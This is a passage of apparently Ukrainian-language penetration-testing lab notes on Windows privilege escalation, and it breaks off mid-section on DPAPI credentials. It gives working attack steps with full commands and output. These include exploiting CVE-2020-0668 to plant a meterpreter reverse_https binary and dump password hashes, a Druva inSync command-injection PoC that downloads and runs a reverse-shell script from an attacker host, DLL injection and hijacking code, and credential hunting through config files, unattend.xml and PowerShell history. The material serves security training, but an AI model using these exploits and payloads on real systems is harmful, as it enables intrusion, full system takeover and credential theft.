Password last set            12/15/2023 3:45:12 PM
Password expires             Never
Password changeable          12/15/2023 3:45:12 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.
```

▸ `Local Group Memberships: *Administrators`

⚠ **УВАГА:** Створення юзера — це ГУЧНА дія. Логується в Security Event Log (Event ID 4720). Перед цим: (а) уточнити з замовником, чи створення юзерів у скоупі; (б) видалити юзера після завершення; (в) краще використати -CustomDll флаг для reverse shell замість створення аккаунта.

5.4 Enumerating Missing Patches

ps
```
PS C:\htb> systeminfo
```

⏳ **ЧЕКАТИ:** Виконується кілька секунд.

out
```
Host Name:                 WINLPE-WS02
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.18363 N/A Build 18363
OS Manufacturer:           Microsoft Corporation
System Manufacturer:       VMware, Inc.
System Type:               x64-based PC
Total Physical Memory:     4,095 MB
Domain:                    WORKGROUP
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB4528759
                           [02]: KB4537572
                           [03]: KB4535680
```

▸ `OS Version`, `Build`, перелік `Hotfix(s)` з датами

cmd
```
C:\htb> wmic qfe list brief
```

out
```
Description      FixComments  HotFixID   InstalledBy          InstalledOn  Name
ServicePackInEffect
Update                        KB4528759  NT AUTHORITY\SYSTEM  1/21/2020
Security Update               KB4537572  NT AUTHORITY\SYSTEM  2/13/2020
Update                        KB4535680  NT AUTHORITY\SYSTEM  2/15/2020
```

▸ останній KB → catalog.update.microsoft.com → що саме виправлено

ps
```
PS C:\htb> Get-Hotfix
```

out
```
Source        Description      HotFixID   InstalledBy          InstalledOn
------        -----------      --------   -----------          -----------
WINLPE-WS02   Update           KB4528759  NT AUTHORITY\SYSTEM  1/21/2020 12:00:00 AM
WINLPE-WS02   Security Update  KB4537572  NT AUTHORITY\SYSTEM  2/13/2020 12:00:00 AM
WINLPE-WS02   Update           KB4535680  NT AUTHORITY\SYSTEM  2/15/2020 12:00:00 AM
```

▸ сортувати за `InstalledOn` — свіжість

5.5 CVE-2020-0668 — Service Tracing Arbitrary File Move

Windows Service Tracing дозволяє налаштовувати дебаг-логи для сервісів через значення в реєстрі. Встановлення кастомного `MaxFileSize`, меншого за розмір файлу, змушує Windows переіменувати файл у `.OLD` — і робить це від імені **SYSTEM**. Поєднавши з mount points і symbolic links, можна перемістити довільний файл.

Передумови

```cmd
C:\htb> whoami /priv
```

```out
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeUndockPrivilege             Remove computer from docking   Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege           Change the time zone           Disabled
```

▸ мінімальний набір — достатньо стандартних прав юзера

Збірка PoC

Клонуємо PoC, відкриваємо в Visual Studio у VM, збираємо. Отримуємо:

```sh
CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml
```

Вибір цілі — стороннє ПО зі слабким ACL

Сам експлоіт дає нам arbitrary file write від імені SYSTEM, але ми не можемо перезаписати системні файли. Тому потрібна *стороння* ціль — типово Mozilla Maintenance Service (SYSTEM, запускається unprivileged юзерами):

```cmd
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```

```cmd
C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
```

```
c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
    NT SERVICE\TrustedInstaller:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(RX)
    BUILTIN\Administrators:(I)(RX)
    BUILTIN\Users:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

Payload — Meterpreter бінарник

```sh
Cyberduckk@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3
LPORT=8443 -f exe > maintenanceservice.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
```

- `Final size of exe file: ~7168 bytes`

HTTP сервер і доставка

```sh
Cyberduckk@htb[/htb]$ python3 -m http.server 8080
```

```
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

```ps
PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
PS C:\htb> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe
```

```
// На HTTP-сервері:
10.129.43.13 - - [14/Dec/2023 16:22:04] "GET /maintenanceservice.exe HTTP/1.1" 200 -
10.129.43.13 - - [14/Dec/2023 16:22:05] "GET /maintenanceservice.exe HTTP/1.1" 200 -
```

- перша копія (буде пошкоджена експлоітом)

⚠ **УВАГА:** Дві копії! Перша буде **зкорумпована** самим експлоітом (операція move порушує файл). Друга — наш "чистий" бекап для фінальної підміни. Якщо мати лише одну — після запуску отримаєш `System error 216`.

Запуск CVE-2020-0668

```cmd
C:\htb> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
```

```out
[+] Moving C:\Users\htb-student\Desktop\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
[+] Mounting \RPC Control onto \??\C:\Users\htb-student\AppData\Local\Temp\wrk
[+] Creating symbol links
[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.
[+] Sleeping for 5 seconds so the changes take effect
[+] Writing phonebook file to C:\Users\htb-student\AppData\Local\Temp\wrk\rasphone.pbk
[+] Cleaning up
[+] Done!
```

▸ `[+] Done!` після ~5 секунд Sleeping

⏳ **ЧЕКАТИ:** Між "Sleeping for 5 seconds" і "Done!" — чекати ~5 секунд.

Верифікація нових прав на файл

```cmd
C:\htb> icacls "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
```

```out
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
    WINLPE-WS02\htb-student:(F)
    NT AUTHORITY\SYSTEM:(I)(RX)
    BUILTIN\Administrators:(I)(RX)
    BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

▸ `htb-student:(F)` = отримали Full Control на файл

Підміна на "чисту" копію

```cmd
C:\htb> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
```

```out
        1 file(s) copied.
```

▸ чиста копія на місці

⚠ **УВАГА:** Команда `copy` працює ТІЛЬКИ в cmd.exe, не в PowerShell! Переключитись на `cmd` якщо ти в PS.

Metasploit handler

На атакуючій машині створити `handler.rc`:

```sh
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
```

```sh
Cyberduckk@htb[/htb]$ sudo msfconsole -r handler.rc
```

```out
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 10.10.14.3
LHOST => 10.10.14.3
resource (handler.rc)> set LPORT 8443
LPORT => 8443
resource (handler.rc)> exploit
[*] Started HTTPS reverse handler on https://10.10.14.3:8443
```

> ▸ `Started HTTPS reverse handler on ...`

Тригер — запуск сервісу

```cmd
C:\htb> net start MozillaMaintenance
```

```out
The Mozilla Maintenance Service service is starting.
The Mozilla Maintenance Service service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.
```

> ▸ `The service is not responding` — норм, payload вже стріляє

Meterpreter сесія

```out
[*] https://10.10.14.3:8443 handling request from 10.129.43.13; (UUID: xxx) Staging x64
payload (201817 bytes) ...
[*] Meterpreter session 1 opened (10.10.14.3:8443 -> 10.129.43.13:52047) at 2023-12-14
16:30:12 +0000
```

```sh
meterpreter > getuid
```

```out
Server username: NT AUTHORITY\SYSTEM
```

▸ `Server username: NT AUTHORITY\SYSTEM` → **privesc done**

```sh
meterpreter > sysinfo
```

```out
Computer        : WINLPE-WS02
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```

▸ `OS: Windows 10 (10.0 Build 18363)`

```sh
meterpreter > hashdump
```

```out
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
```

▸ NT хеши локальних юзерів → lateral movement

---

6. Vulnerable Third-Party Services

> Навіть на well-patched системах, де немає weak permissions чи kernel exploits, лишається величезна attack surface — **сторонній софт**. VPN-клієнти, антивіруси, backup-агенти, менеджери оновлень — всі вони часто запускають локальні сервіси як SYSTEM і слухають на localhost. Знайшов вразливу версію → LPE готовий.

6.1 Методологія

1. Перерахувати встановлений софт (`wmic product get name`).
2. Перевірити версії продуктів (зазвичай в підпапках Program Files, в Registry Uninstall, або через `Get-WmiObject Win32_Product`).
3. Шукати CVE: `<product> <version> local privilege escalation`, `<product> exploit-db`.
4. Перевірити локальні порти (`netstat -ano | findstr LISTENING`) — локальні RPC типові для стороннього ПО.
5. Знайти PoC → адаптувати → експлуатувати.

6.2 Приклад: Druva inSync 6.6.3 (реальний CVE)

Druva inSync — корпоративне backup-рішення. Версія 6.6.3 має command injection через RPC endpoint на локальному порту `6064`. Client біжить як **NT AUTHORITY\SYSTEM**.

Крок 1 — знайти продукт

```cmd
C:\htb> wmic product get name
```

⏳ **ЧЕКАТИ:** Може виконуватись 10-60 секунд.

```out
Name
VMware Tools
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29334
Druva inSync 6.6.3
Windscribe
System Explorer
Mozilla Firefox 91.0.2 (x64 en-US)
```

▸ шукати `Druva inSync 6.6.3` чи інший неочевидний продукт

Крок 2 — перевірити локальний порт

```cmd
C:\htb> netstat -ano | findstr 6064
```

```out
  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324
  TCP    127.0.0.1:6064         127.0.0.1:50274        ESTABLISHED     3324
```

- `127.0.0.1:6064 LISTENING` + PID

Крок 3 — мапнути PID на процес

```ps
PS C:\htb> get-process -Id 3324
```

```out
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    450      24    37164      46892       1.25   3324   0 inSyncCPHwnet64
```

- `inSyncCPHwnet64` → Druva

Крок 4 — перевірити сервіс

```ps
PS C:\htb> get-service | ? {$_.DisplayName -like 'Druva*'}
```

```out
Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service
```

- `Running`

Крок 5 — PoC exploit

PoC — PowerShell скрипт, що відкриває TCP до localhost:6064 і надсилає спеціально сформовані байти:

```ps
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command =
[System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\Sys
tem32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
```

ℹ Ключове тут — path traversal (`..\..\..\`) із `C:\ProgramData\Druva\inSync4\` до `C:\Windows\System32\cmd.exe`. Сервіс сам виконає довільну команду як SYSTEM.

Крок 6 — модифікувати $cmd на reverse shell

Замість `net user pwnd /add` (гучно!) використовуємо in-memory download шкідливого PS-скрипта. Spawn reverse shell через `Invoke-PowerShellTcp` (Nishang). Додай у низ `shell.ps1`:

```ps
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443
```

У PoC скрипті змінити:

```ps
$cmd = "powershell IEX(New-Object
Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"
```

Крок 7 — HTTP та listener

```sh
Cyberduckk@htb[/htb]$ python3 -m http.server 8080
```

```out
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

```sh
Cyberduckk@htb[/htb]$ nc -lvnp 9443
```

```out
listening on [any] 9443 ...
```

Крок 8 — виконати PoC на цілі

На target у PowerShell (з `Set-ExecutionPolicy Bypass -Scope Process`) запустити скрипт. Майже одразу:

```out
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 58611
Windows PowerShell running as user WINLPE-WS01$ on WINLPE-WS01

PS C:\WINDOWS\system32>whoami
nt authority\system
```

> ✓ **TIP:** Важливий урок: завжди перерахувати installed software. Навіть якщо OS повністю запатчена, один забутий застарілий VPN-клієнт дає SYSTEM. Організаціям треба: (а) обмежити права юзерів ставити ПО, (б) whitelisting, (в) регулярний inventory third-party software.

---

7. DLL Injection & DLL Hijacking

> DLL injection / hijacking — два пов'язані, але різні механізми:
>
> - **Injection** — вставка нашого коду в *вже запущений* процес (legit приклад: hot-patching на Azure).
> - **Hijacking** — підміна DLL, яку процес *збирається завантажити*, експлуатуючи DLL search order.
>
> Для privilege escalation нам корисніший hijacking — якщо процес з високими правами шукає DLL у папці, писабельній нашим юзером, ми підкладаємо свою.

7.1 Методи ін'єкції (для розуміння контексту)

LoadLibrary

Класика. `LoadLibrary` — Windows API, що завантажує DLL у пам'ять процесу. Для ін'єкції в *чужий* процес:

1. `OpenProcess` з target PID.
2. `VirtualAllocEx` — виділити пам'ять у чужому процесі.
3. `WriteProcessMemory` — записати туди шлях до нашої DLL.
4. `GetProcAddress` → знайти адресу `LoadLibraryA` у `kernel32.dll`.
5. `CreateRemoteThread` — запустити віддалений потік, що стартує з `LoadLibraryA` і отримує шлях як параметр.

```c
#include <windows.h>
#include <stdio.h>

int main() {
    // Using LoadLibrary for DLL injection
    DWORD targetProcessId = 123456; // The ID of the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
    if (hProcess == NULL) {
        printf("Failed to open target process\n");
        return -1;
    }

    // Allocate memory in the target process for the DLL path
    LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (dllPathAddressInRemoteMemory == NULL) {
        printf("Failed to allocate memory in target process\n");
        return -1;
    }

    // Write the DLL path to the allocated memory
    BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory,
dllPath, strlen(dllPath), NULL);
    if (!succeededWriting) {
        printf("Failed to write DLL path to target process\n");
        return -1;
    }

    // Get the address of LoadLibrary in kernel32.dll
    LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
    if (loadLibraryAddress == NULL) {
        printf("Failed to get address of LoadLibraryA\n");
        return -1;
    }

    // Create a remote thread in the target process
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
    if (hThread == NULL) {
        printf("Failed to create remote thread in target process\n");
        return -1;
    }

    printf("Successfully injected example.dll into target process\n");
    return 0;
}
```

> ℹ Метод тривіально детектиться EDR — використання `CreateRemoteThread` + `LoadLibrary` — топовий sigma-правило. Для bypass AV використовують Manual Mapping або Reflective Injection.

Manual Mapping

Передвищене завантаження DLL у пам'ять вручну — без `LoadLibrary`. Кроки:

1. Завантажити DLL як raw data у процес-ін'єктор.
2. Мапнути секції DLL у target-процес.
3. Інжектити shellcode, що сам виконає relocations, імпорти, TLS callbacks і викличе `DllMain`.

> ℹ Уникає моніторингу `LoadLibrary`, тому популярний серед анти-чіт систем *і* серед malware.

Reflective DLL Injection

Техніка Stephen Fewer. DLL сама виконує mini-PE-loader через експортовану функцію `ReflectiveLoader`. Послідовність:

1. DLL записана у довільне місце пам'яті target-процесу.
2. Виконання переходить у `ReflectiveLoader` (через `CreateRemoteThread` або bootstrap shellcode).
3. Loader обчислює свою поточну позицію в пам'яті, парсить свої PE-заголовки.
4. Знаходить `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc` через парсинг `kernel32.dll`.
5. Виділяє нову пам'ять, копіює свій образ, фіксить імпорти і relocations.
6. Викликає `DllMain` з `DLL_PROCESS_ATTACH`.

> ℹ Meterpreter використовує саме Reflective DLL Injection для своїх modules. Тому `migrate` з PID на PID у Meterpreter "тихий" з точки зору класичних EDR.

7.2 DLL Hijacking — search order

Коли додаток викликає `LoadLibrary("someDLL.dll")` без повного шляху, Windows шукає файл у певному порядку. Порядок залежить від налаштування **Safe DLL Search Mode**:

Перевірка Safe DLL Search Mode

Ключ реєстру:

```reg
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
```

Значення `SafeDllSearchMode`:

- `1` (за замовчуванням) = Safe Mode ON.
- `0` = Safe Mode OFF (атакуючому ще легше).

Search order — Safe Mode ON

1. Директорія додатку.
2. System directory (`C:\Windows\System32`).
3. 16-bit system directory.
4. Windows directory.

5. Current directory.
6. `%PATH%`.

Search order — Safe Mode OFF

1. Директорія додатку.
2. **Current directory** ← піднімається на 2 місце!
3. System directory.
4. 16-bit system directory.
5. Windows directory.
6. `%PATH%`.

> ✓ **TIP:** Різниця в 2-му місці — якщо додаток часто запускається з контрольованої нами директорії (наприклад, юзер-папки) при вимкненому Safe Mode — автоматичний hijack.

7.3 Пошук вразливості через Procmon

Запустити **Process Monitor** (Sysinternals). Налаштувати фільтри:

1. `Process Name` **is** `<target.exe>` **Include**
2. Або додатково: `Operation` **is** `Load Image` — побачимо, які DLL завантажено успішно.
3. Для пошуку missing: `Path` **ends with** `.dll` + `Result` **is** `NAME NOT FOUND`.

Запустити цільовий додаток. Приклад виводу для `main.exe`:

```out
16:13:30,0074709    main.exe    47792   Load Image
C:\Users\PandaSt0rm\Desktop\Hijack\main.exe SUCCESS
16:13:30,0075369    main.exe    47792   Load Image  C:\Windows\System32\ntdll.dll   SUCCESS
16:13:30,0122132    main.exe    47792   Load Image  C:\Windows\System32\wow64base.dll
SUCCESS
16:13:31,7974779    main.exe    47792   Load Image
C:\Users\PandaSt0rm\Desktop\Hijack\library.dll  SUCCESS
```

7.4 DLL Proxying (практичний приклад)

Ціль: програма `main.exe` викликає функцію `Add` з `library.dll`. Ми хочемо втрутитись — логувати, модифікувати результат, запускати payload.

Вихідна програма (main.cpp)

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>

typedef int (*AddFunc)(int, int);

int readIntegerInput()
{
    int value;
    char input[100];
    bool isValid = false;

    while (!isValid)
    {
        fgets(input, sizeof(input), stdin);
        if (sscanf(input, "%d", &value) == 1)
            isValid = true;
        else
            printf("Invalid input. Please enter an integer: ");
    }
    return value;
}

int main()
{
    HMODULE hLibrary = LoadLibrary("library.dll");
    if (hLibrary == NULL) { printf("Failed to load library.dll\n"); return 1; }

    AddFunc add = (AddFunc)GetProcAddress(hLibrary, "Add");
    if (add == NULL) { printf("Failed to locate the 'Add' function\n");
FreeLibrary(hLibrary); return 1; }

    printf("Enter the first number: ");
    int a = readIntegerInput();
    printf("Enter the second number: ");
    int b = readIntegerInput();

    int result = add(a, b);
    printf("The sum of %d and %d is %d\n", a, b, result);

    FreeLibrary(hLibrary);
    system("pause");
    return 0;
}
```

Proxy DLL (tamper.c)

Створюємо нову DLL з тим же ім'ям `Add`, яка викликає справжню `Add` із перейменованої оригінальної DLL:

```c
// tamper.c
#include <stdio.h>
#include <Windows.h>

#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif

typedef int (*AddFunc)(int, int);

DLL_EXPORT int Add(int a, int b)
{
    HMODULE originalLibrary = LoadLibraryA("library.o.dll");
    if (originalLibrary != NULL)
    {
        AddFunc originalAdd = (AddFunc)GetProcAddress(originalLibrary, "Add");
        if (originalAdd != NULL)
        {
            printf("============ HIJACKED ============\n");
            int result = originalAdd(a, b);
            printf("= Adding 1 to the sum to be evil\n");
            result += 1;
            printf("============ RETURN ============\n");
            return result;
        }
    }
    return -1;
}
```

Деплой

1. Скомпілювати `tamper.c` → `tamper.dll`.
2. Перейменувати оригінал: `library.dll` → `library.o.dll`.
3. Перейменувати наш: `tamper.dll` → `library.dll`.
4. Запустити `main.exe` — введення `1 + 1` тепер дає **3** (бо ми додали +1).

```out
// Після запуску main.exe:
Enter the first number: 1
Enter the second number: 1
============ HIJACKED ============
= Adding 1 to the sum to be evil
============ RETURN ============
The sum of 1 and 1 is 3
Press any key to continue . . .
```

7.5 Missing DLL Hijack (Invalid Libraries)

Ще простіший сценарій: процес шукає DLL, якої *не існує* (результат `NAME NOT FOUND`). Ми просто створюємо DLL з потрібним ім'ям у писабельній папці.

Приклад — main.exe шукає x.dll

Фільтр у procmon: `Path ends with .dll` + `Result is NAME NOT FOUND`. Виявляємо:

```out
17:55:39    main.exe    37940   CreateFile  C:\Users\PandaSt0rm\Desktop\Hijack\x.dll
NAME NOT FOUND  Desired Access: Read Attributes, ...
```

Процес шукає `x.dll` у папці з `main.exe` — і не знаходить. Закидаємо свою:

```c
#include <stdio.h>
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        printf("Hijacked... Oops...\n");
    }
    break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
```

Скомпілювати → перейменувати у `x.dll` → запустити `main.exe`. У консолі:

```out
Hijacked... Oops...
Enter the first number:
```

> ✓ **TIP:** Для privilege escalation шукаємо missing DLLs у **сервісах** (SYSTEM), **scheduled tasks** (можуть бути з SYSTEM) або **auto-elevating binaries** (UAC bypass). Приклад з Розділу 3 — саме такий: `SystemPropertiesAdvanced.exe` шукає `srrstr.dll`, не знаходить, а ми підкладаємо свою в writable папку з PATH.

---

8. Credential Hunting

> Один з найприбутковіших напрямів у privesc — просто *знайти* вже збережений пароль. Адміни, розробники і звичайні юзери постійно залишають credentials у конфігах, скриптах, файлах "notes.txt", історіях консолі. Часом знайдений пароль — це навіть не пароль поточного хоста, а **domain admin**, який інсталятор одного сервера колись використав "на разок".

8.1 Application Configuration Files

Додатки часто зберігають connection strings, API-ключі, паролі DB у `.config`, `.xml`, `.ini`. Особливо "смачні" файли: `web.config`, `app.config`, `database.xml`, `settings.ini`.

Рекурсивний пошук слова "password"

```ps
PS C:\htb> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

⏳ **ЧЕКАТИ:** Сканування рекурсивне — на великій папці повільно.

```out
.\config\database.xml
.\notes.txt
.\scripts\deploy.config
.\web\web.config
```

▸ імена файлів з паролями

Пошук у конкретній папці з контекстом

```cmd
C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
```

```out
stuff.txt
creds.ini
notes.txt
```

▸ Documents: `stuff.txt`, `creds.ini`

```cmd
C:\htb> findstr /si password *.xml *.ini *.txt *.config
```

```out
stuff.txt:password: l#-x9r11_2_GL!
creds.ini:password=Str0ngP@ss!
notes.txt:admin password: Welcome2023!
```

▸ **рядки** з паролями

Пошук у всіх файлах дерева

```cmd
C:\htb> findstr /spin "password" *.*
```

⏳ **ЧЕКАТИ:** Найповільніший варіант — сканує ВСІ файли. Може тривати хвилини.

```out
stuff.txt:1:password: l#-x9r11_2_GL!
backup\web.config:42:      <add name="conn" connectionString="Server=.;Password=Sql!2020"
/>
scripts\deploy.ps1:15:$password = "D3pl0yMe!"
notes.md:8:My old password was Welcome1, new one is P@ssw0rd2024
```

▸ `filename:line:content`

PowerShell-варіант

```ps
PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
```

```out
stuff.txt:1:password: l#-x9r11_2_GL!
notes.txt:3:admin password: Welcome2023!
```

▸ PS + regex-пошук

✓ **TIP:** На IIS-серверах завжди перевіряй `C:\inetpub\wwwroot\web.config` — там часто лежать connection strings до БД у plaintext або слабкозашифрованому вигляді.

8.2 Chrome Custom Dictionary

Користувачі додають у словник Chrome "дивні" слова, щоб не підкреслював червоним — включно з паролями, іменами серверів, внутрішніми URL.

```ps
PS C:\htb> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom
Dictionary.txt' | Select-String password
```

```out
Password1234!
MyS3cur3P@ss
Summer2023!
Welcome@ILF
```

▸ слова, які юзер додавав у Chrome dictionary

8.3 Unattended Installation (unattend.xml)

При автоматизованому розгортанні Windows IT-адміни створюють `unattend.xml` з паролями. Файл залишається на диску після установки.

Пошук файлу

```cmd
C:\htb> dir /S /B C:\unattend.xml C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml C:\Windows\system32\sysprep\unattend.xml
C:\Windows\system32\sysprep.inf
```

```out
C:\Windows\Panther\Unattend.xml
C:\Windows\system32\sysprep\unattend.xml
```

▸ наявність → `<AutoLogon><Password>`; якщо `PlainText=false` — декодувати base64

Структура цікавого блоку

```c
<AutoLogon>
    <Password>
        <Value>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0NTY3OCE=</Value>
        <PlainText>false</PlainText>
    </Password>
    <Enabled>true</Enabled>
    <Username>Administrator</Username>
</AutoLogon>

<UserAccounts>
    <LocalAccounts>
        <LocalAccount wcm:action="add">
            <Password>
                <Value>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0NTY3OCE=</Value>
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Local Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
```

```sh
Cyberduckk@htb[/htb]$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0NTY3OCE=" | base64 -d
```

```out
SecretSecurePassword12345678!
```

▸ Windows додає суфікс `Password` — обрізати останні 8 символів

8.4 PowerShell History

PSReadLine модуль (встановлений за замовчуванням у PS 5.1+) зберігає історію команд у текстовий файл. Адміни, що копіпастять скрипти з прикладом credentials, залишають паролі прямо там.

Для поточного юзера

```ps
PS C:\htb> (Get-PSReadLineOption).HistorySavePath
```

```out
C:\Users\htb-student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

▸ шлях до `ConsoleHost_history.txt`

```ps
PS C:\htb> gc (Get-PSReadLineOption).HistorySavePath
```

```out
cd C:\Tools
.\SharpUp.exe audit
Get-Service | ? {$_.Status -eq 'Running'}
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02
net use \\FILE01\backup$ /user:inlanefreight\svc_backup Backup!Pass2023
cls
```

▸ `/p:`, `/u:`, `-Credential`, `ConvertTo-SecureString`

Приклад знахідки — команда з WevtUtil з credentials адміна:

```ps
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02
```

Для всіх користувачів одним one-liner

```ps
PS C:\htb> foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
```

```out
net user administrator P@ssw0rd_2023! /domain
Get-ADUser -Filter *
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)
$cred = New-Object PSCredential('svc_sql', (ConvertTo-SecureString 'Sql$erv1ce!' -AsPlainText -Force))
Invoke-Command -ComputerName SQL01 -Credential $cred -ScriptBlock {whoami}
exit
```

▸ історія **всіх** юзерів (запускати до і після local admin)

> ✓ **TIP:** Завжди запускати цю команду **двічі**: на етапі initial foothold і після того, як стали local admin. Дивовижно, скільки паролів можна знайти у другий раз — особливо на jump-хостах IT-департаменту.

8.5 PowerShell DPAPI-encrypted Credentials

Скрипти, що потребують credentials, іноді зберігають їх "безпечно" через `Export-Clixml`. Це використовує Windows DPAPI — розшифрування можливе **тільки** в контексті того самого юзера на тій самій машині.

Приклад — Connect-VC.ps1

```ps
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
Connect-VIServer -Server 'vcenter.inlanefreight.local' -Credential $credential
```

У файлі `pass.xml` — XML з полями `UserName`, `Password` (SecureString у base64, зашифрований DPAPI-ключем юзера, що створив файл).

Розшифрування

```ps
